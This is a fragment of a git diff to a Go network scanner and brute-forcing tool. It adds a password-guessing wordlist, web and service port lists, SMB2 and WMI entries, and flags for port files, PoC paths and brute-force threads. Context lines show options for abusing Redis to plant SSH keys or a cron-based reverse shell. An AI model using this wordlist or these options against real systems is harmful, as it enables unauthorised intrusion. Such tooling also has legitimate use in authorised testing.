"sa123456", "1q2w3e"} +var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789"} var PORTList = map[string]int{ "ftp": 21, "ssh": 22, @@ -37,11 +37,13 @@ var PORTList = map[string]int{ "portscan": 0, "icmp": 0, "main": 0, + "smb2": 1000004, + "wmi": 1000005, } var Outputfile = getpath() + "result.txt" var IsSave = true -var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" +var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017" type HostInfo struct { @@ -92,6 +94,8 @@ var ( Userfile string Passfile string HostFile string + PortFile string + PocPath string Threads int URL string UrlFile string diff --git a/common/flag.go b/common/flag.go index 73732ed..576b167 100644 --- a/common/flag.go +++ b/common/flag.go @@ -38,10 +38,13 @@ func Flag(Info *HostInfo) { flag.StringVar(&HostFile, "hf", "", "host file, -hf ip.txt") flag.StringVar(&Userfile, "userf", "", "username file") flag.StringVar(&Passfile, "pwdf", "", "password file") + flag.StringVar(&PortFile, "portf", "", "Port File") + flag.StringVar(&PocPath, "pocpath", "", "Port File") flag.StringVar(&RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub) ") flag.StringVar(&RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666) ") flag.BoolVar(&IsWebCan, "nopoc", false, "not to scan web vul") flag.BoolVar(&IsBrute, "nobr", false, "not to Brute password") + flag.IntVar(&BruteThread, "br", 1, "Brute threads") flag.BoolVar(&IsPing, "np", false, "not to ping") flag.BoolVar(&Ping, "ping", false, "using ping replace icmp") flag.StringVar(&TmpOutputfile, "o", "result.txt", "Outputfile")